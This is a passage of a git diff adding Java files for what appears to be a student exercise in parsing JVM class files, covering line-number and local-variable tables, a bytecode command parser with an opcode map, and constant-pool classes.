+
+    }
+
+    public static LineNumberTable parse(ByteCodeIterator iter) {
+
+        int index = iter.next2Bytes();
+        int len = iter.next4Bytes();
+
+        LineNumberTable table = new LineNumberTable(index, len);
+
+        int itemLen = iter.next2Bytes();
+
+        for (int i = 1; i <= itemLen; i++) {
+            LineNumberItem item = new LineNumberItem();
+            item.setStartPC(iter.next2Bytes());
+            item.setLineNum(iter.next2Bytes());
+            table.addLineNumberItem(item);
+        }
+        return table;
+    }
+
+    public String toString() {
+        StringBuilder buffer = new StringBuilder();
+        buffer.append("Line Number Table:\n");
+        for (LineNumberItem item : items) {
+            buffer.append("startPC:" + item.getStartPC()).append(",");
+            buffer.append("lineNum:" + item.getLineNum()).append("\n");
+        }
+        buffer.append("\n");
+        return buffer.toString();
+
+    }
+
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/LocalVariableItem.java b/group15/1507_977996067/src/task7/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..fbb27e8812
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package task7.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/LocalVariableTable.java b/group15/1507_977996067/src/task7/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..7bcf199b3c
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,57 @@
+package task7.jvm.attr;
+
+
+import task7.jvm.constant.ConstantPool;
+import task7.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LocalVariableTable extends AttributeInfo {
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+	}
+
+
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);
+	}
+
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+
+		int index = iter.next2Bytes();
+		int len = iter.next4Bytes();
+
+		LocalVariableTable table = new LocalVariableTable(index,len);
+
+		int itemLen = iter.next2Bytes();
+
+		for(int i=1; i<=itemLen; i++){
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.next2Bytes());
+			item.setLength(iter.next2Bytes());
+			item.setNameIndex(iter.next2Bytes());
+			item.setDescIndex(iter.next2Bytes());
+			item.setIndex(iter.next2Bytes());
+			table.addLocalVariableItem(item);
+		}
+		return table;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group15/1507_977996067/src/task7/jvm/attr/StackMapTable.java b/group15/1507_977996067/src/task7/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..f57144783d
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package task7.jvm.attr;
+
+
+import task7.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo {
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.next2Bytes();
+		int len = iter.next4Bytes();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group15/1507_977996067/src/task7/jvm/clz/AccessFlag.java b/group15/1507_977996067/src/task7/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..e333b4621d
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package task7.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/jvm/clz/ClassFile.java b/group15/1507_977996067/src/task7/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..1587998e29
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/clz/ClassFile.java
@@ -0,0 +1,134 @@
+package task7.jvm.clz;
+
+import task7.jvm.constant.ClassInfo;
+import task7.jvm.constant.ConstantPool;
+import task7.jvm.field.Field;
+import task7.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ClassFile {
+
+    private int minorVersion;
+    private int majorVersion;
+
+    private AccessFlag accessFlag;
+    private ClassIndex clzIndex;
+    private ConstantPool pool;
+
+    private List<Field> fields = new ArrayList<>();
+    private List<Method> methods = new ArrayList<>();
+
+    public void setClzIndex(ClassIndex clzIndex) {
+        this.clzIndex = clzIndex;
+    }
+
+    public ConstantPool getPool() {
+        return pool;
+    }
+
+    public void setPool(ConstantPool pool) {
+        this.pool = pool;
+    }
+
+    public List<Field> getFields() {
+        return fields;
+    }
+
+    public void setFields(List<Field> fields) {
+        this.fields = fields;
+    }
+
+    public List<Method> getMethods() {
+        return methods;
+    }
+
+    public void setMethods(List<Method> methods) {
+        this.methods = methods;
+    }
+
+    public ClassIndex getClzIndex() {
+        return clzIndex;
+    }
+
+    public AccessFlag getAccessFlag() {
+        return accessFlag;
+    }
+
+    public void setAccessFlag(AccessFlag accessFlag) {
+        this.accessFlag = accessFlag;
+    }
+
+
+    public ConstantPool getConstantPool() {
+        return pool;
+    }
+
+    public int getMinorVersion() {
+        return minorVersion;
+    }
+
+    public void setMinorVersion(int minorVersion) {
+        this.minorVersion = minorVersion;
+    }
+
+    public int getMajorVersion() {
+        return majorVersion;
+    }
+
+    public void setMajorVersion(int majorVersion) {
+        this.majorVersion = majorVersion;
+    }
+
+    public void setConstPool(ConstantPool pool) {
+        this.pool = pool;
+
+    }
+
+    public void setClassIndex(ClassIndex clzIndex) {
+        this.clzIndex = clzIndex;
+    }
+
+    public void print() {
+
+        if (this.accessFlag.isPublicClass()) {
+            System.out.println("Access flag : public  ");
+        }
+        System.out.println("Class Name:" + getClassName());
+
+        System.out.println("Super Class Name:" + getSuperClassName());
+
+
+    }
+
+    public String getClassName() {
+        int thisClassIndex = this.clzIndex.getThisClassIndex();
+        ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
+        return thisClass.getClassName();
+    }
+
+    public String getSuperClassName() {
+        ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+        return superClass.getClassName();
+    }
+
+    public Method getMethod(String methodName, String paramAndReturnType) {
+
+        for (Method method : methods) {
+            int nameIndex = method.getNameIndex();
+            int descriptorIndex = method.getDescriptorIndex();
+            String name = getConstantPool().getUTF8String(nameIndex);
+            String descriptor = getConstantPool().getUTF8String(descriptorIndex);
+            if (methodName.equalsIgnoreCase(name) && paramAndReturnType.equalsIgnoreCase(descriptor)) {
+                return method;
+            }
+        }
+        return null;
+    }
+
+    public Method getMainMethod() {
+
+        return getMethod("main", "([Ljava/lang/String;)");
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/clz/ClassIndex.java b/group15/1507_977996067/src/task7/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..b4342d6557
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package task7.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/BiPushCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..b80f830944
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ConstantInfo;
+import task7.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/ByteCodeCommand.java b/group15/1507_977996067/src/task7/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..e4c9e2ac2d
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package task7.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ConstantInfo;
+import task7.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+//	public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/CommandParser.java b/group15/1507_977996067/src/task7/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..f6a12e1701
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/CommandParser.java
@@ -0,0 +1,124 @@
+package task7.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import task7.jvm.clz.ClassFile;
+
+public class CommandParser {
+
+    public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
+
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
+
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+
+    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+        codes = codes.toUpperCase();
+        System.out.println("=========> codes: " + codes);
+        CommandIterator iterator = new CommandIterator(codes);
+        List<ByteCodeCommand> commands = new ArrayList<>();
+        while (iterator.hasNext()) {
+            String opCode = iterator.next2CharAsString();
+            switch (opCode) {
+                case new_object:
+                    NewObjectCmd newObjectCmd = new NewObjectCmd(clzFile, codes);
+                    newObjectCmd.setOprand1(iterator.next2CharAsInt());
+                    newObjectCmd.setOprand2(iterator.next2CharAsInt());
+                    commands.add(newObjectCmd);
+                    break;
+                case ldc:
+                    LdcCmd ldcCmd = new LdcCmd(clzFile, codes);
+                    ldcCmd.setOperand(iterator.next2CharAsInt());
+                    commands.add(ldcCmd);
+                    break;
+                case bipush:
+                    BiPushCmd biPushCmd = new BiPushCmd(clzFile, codes);
+                    biPushCmd.setOperand(iterator.next2CharAsInt());
+                    commands.add(biPushCmd);
+                    break;
+                case invokespecial:
+                    InvokeSpecialCmd invokeSpecialCmd = new InvokeSpecialCmd(clzFile, codes);
+                    invokeSpecialCmd.setOprand1(iterator.next2CharAsInt());
+                    invokeSpecialCmd.setOprand2(iterator.next2CharAsInt());
+                    commands.add(invokeSpecialCmd);
+                    break;
+                case invokevirtual:
+                    InvokeVirtualCmd invokeVirtualCmd = new InvokeVirtualCmd(clzFile, codes);
+                    invokeVirtualCmd.setOprand1(iterator.next2CharAsInt());
+                    invokeVirtualCmd.setOprand2(iterator.next2CharAsInt());
+                    commands.add(invokeVirtualCmd);
+                    break;
+                default:
+                    NoOperandCmd noOperandCmd = new NoOperandCmd(clzFile, codes);
+                    commands.add(noOperandCmd);
+            }
+        }
+        calcuateOffset(commands);
+        return commands.toArray(new ByteCodeCommand[commands.size()]);
+    }
+
+    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+        int offset = 0;
+        for (ByteCodeCommand cmd : cmds) {
+            cmd.setOffset(offset);
+            offset += cmd.getLength();
+        }
+
+    }
+
+    private static class CommandIterator {
+        String codes = null;
+        int pos = 0;
+
+        CommandIterator(String codes) {
+            this.codes = codes;
+        }
+
+        public boolean hasNext() {
+            return pos < this.codes.length();
+        }
+
+        public String next2CharAsString() {
+            String result = codes.substring(pos, pos + 2);
+            pos += 2;
+            return result;
+        }
+
+        public int next2CharAsInt() {
+            String s = this.next2CharAsString();
+            return Integer.valueOf(s, 16);
+        }
+
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/GetFieldCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..531770d8b9
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/GetStaticFieldCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..7f43150ca2
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ClassInfo;
+import task7.jvm.constant.ConstantPool;
+import task7.jvm.constant.FieldRefInfo;
+import task7.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/InvokeSpecialCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ffe71dfb15
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ConstantPool;
+import task7.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/InvokeVirtualCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..de80616b39
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/LdcCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..143b070968
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ConstantInfo;
+import task7.jvm.constant.ConstantPool;
+import task7.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/NewObjectCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..09ffc20c19
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/NoOperandCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..16810f3874
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/OneOperandCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..713610e243
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/PutFieldCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..df2b895c03
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/cmd/TwoOperandCmd.java b/group15/1507_977996067/src/task7/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..9cf2fded56
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package task7.jvm.cmd;
+
+import task7.jvm.clz.ClassFile;
+import task7.jvm.constant.ClassInfo;
+import task7.jvm.constant.ConstantInfo;
+import task7.jvm.constant.ConstantPool;
+import task7.jvm.constant.FieldRefInfo;
+import task7.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/ClassInfo.java b/group15/1507_977996067/src/task7/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..8c2af5157a
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/constant/ClassInfo.java
@@ -0,0 +1,31 @@
+package task7.jvm.constant;
+
+import task7.jvm.print.ConstantInfoVisitor;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+
+	@Override
+	public void accept(ConstantInfoVisitor visitor) {
+		visitor.visitClassInfo(this);
+	}
+
+	public String getClassName() {
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/ConstantInfo.java b/group15/1507_977996067/src/task7/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..24922e29d3
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/constant/ConstantInfo.java
@@ -0,0 +1,35 @@
+package task7.jvm.constant;
+
+import task7.jvm.print.ConstantInfoVisitor;
+
+public abstract class ConstantInfo {
+    public static final int UTF8_INFO = 1;
+    public static final int FLOAT_INFO = 4;
+    public static final int CLASS_INFO = 7;
+    public static final int STRING_INFO = 8;
+    public static final int FIELD_INFO = 9;
+    public static final int METHOD_INFO = 10;
+    public static final int NAME_AND_TYPE_INFO = 12;
+    protected ConstantPool constantPool;
+
+    public ConstantInfo() {
+
+    }
+
+    public ConstantInfo(ConstantPool pool) {
+        this.constantPool = pool;
+    }
+
+    public abstract int getType();
+
+    public abstract void accept(ConstantInfoVisitor visitor);
+
+    public ConstantPool getConstantPool() {
+        return constantPool;
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantPool.getConstantInfo(index);
+    }
+
+}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/ConstantPool.java b/group15/1507_977996067/src/task7/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..485f0dd7c2
--- /dev/null
+++ b/group15/1507_977996067/src/task7/jvm/constant/ConstantPool.java
@@ -0,0 +1,37 @@
+package task7.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+
+    private List<ConstantInfo> constantInfos;
+
+    public ConstantPool() {
+        this.constantInfos = new ArrayList<>();
+    }
+
+    public ConstantPool(int size) {
+        this.constantInfos = new ArrayList<>(size);
+
+        addConstantInfo(new NullConstantInfo());
+    }
+
+    public void addConstantInfo(ConstantInfo info) {
+
+        this.constantInfos.add(info);
+
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantInfos.get(index);
+    }
+
+    public String getUTF8String(int index) {
+        return ((UTF8Info) this.constantInfos.get(index)).getValue();
+    }
+
+    public Object getSize() {
+        return this.constantInfos.size() - 1;
+    }
+}
diff --git a/group15/1507_977996067/src/task7/jvm/constant/FieldRefInfo.java b/group15/1507_977996067/src/task7/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..01474d2dd6
--- /dev/null
